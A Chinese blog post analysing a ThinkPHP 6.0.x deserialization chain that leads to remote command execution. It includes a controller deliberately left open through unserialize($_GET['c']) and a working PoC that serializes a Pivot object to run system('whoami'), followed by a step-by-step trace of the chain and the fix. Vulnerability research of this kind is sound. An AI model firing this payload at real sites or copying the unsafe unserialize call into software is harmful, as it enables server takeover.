HacKerQWQ的博客空间

TP6.0.X反序列化链漏洞分析

Word count: 505Reading time: 2 min
2021/10/19 Share

漏洞简介

TP6删除了Windows类,但是可以通过Model类的__destruct()方法触发save函数,在checkAllowFields方法中存在$this->table$this->suffix的拼接,触发__toString()方法,最后实现$closure的动态调用

配置

1
2
3
composer create-project --prefer-dist topthink/think=6.0.x-dev tp6x
cd tp6x
php ./think run

application/index/controller/Index.php 代码修改成如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\controller;

class Index
{
public function index()
{
$u = unserialize($_GET['c']);
return 'ThinkPHP V6.x';
}
}

漏洞演示

利用条件

  1. 存在反序列化点
  2. 存在phar反序列化

以上满足一个即可

poc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

namespace think{
abstract class Model{
private $lazySave = false;
protected $withEvent = true;
private $exists = false;
private $withAttr = [];
private $data = [];

public function __construct($obj=''){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->table = $obj;
$this->withAttr = ['hackerqwq'=>'system'];
$this->data = ['hackerqwq'=>'whoami'];
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace {
use think\Model\Pivot;
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
}

image-20211019174237301

漏洞分析

漏洞的起始点在Model类中的__destruct方法,然后进入save方法,此处的$this->exists需要为true进入到updatedata方法

image-20211019174713610

需要调用checkAllowFields方法,需要通过false === $this->trigger('BeforeUpdate')条件判断,那么只需要将withEvent设置为false即可

image-20211019175520798

可以看到checkAllowFields方法中$this->table$this->suffix进行了拼接,会触发__toString()函数

image-20211019175619130

上半部分分析完成,链子如下

1
2
3
4
5
6
# Model.php
__destruct()
save()
updatedata()
checkAllowFields()
__toString()

在Conversion中调用__toString()=>toJson()=>toArray(),最终进入到elseif的第二个分支的getAttr方法,key为$this->data的键

image-20211019180106273

通过getAttr=>getData=>getFieldName最终返回的$value$this->data[$key],然后进入getValue方法

image-20211019182936387

$this->withAttr获取$FieldName变量为$closure作为调用函数,从$this->data获取$FieldName变量为调用参数$value,那么只需要令$this->withAttr[$FieldName]system$this->data[$FieldName]为参数,即可执行系统命令

image-20211019183509597

漏洞分析至此结束

漏洞修复

增加了对$closure变量的验证再调用

image-20211019184507449

CATALOG
  1. 1. 漏洞简介
  2. 2. 配置
  3. 3. 漏洞演示
    1. 3.1. 利用条件
  4. 4. 漏洞分析
  5. 5. 漏洞修复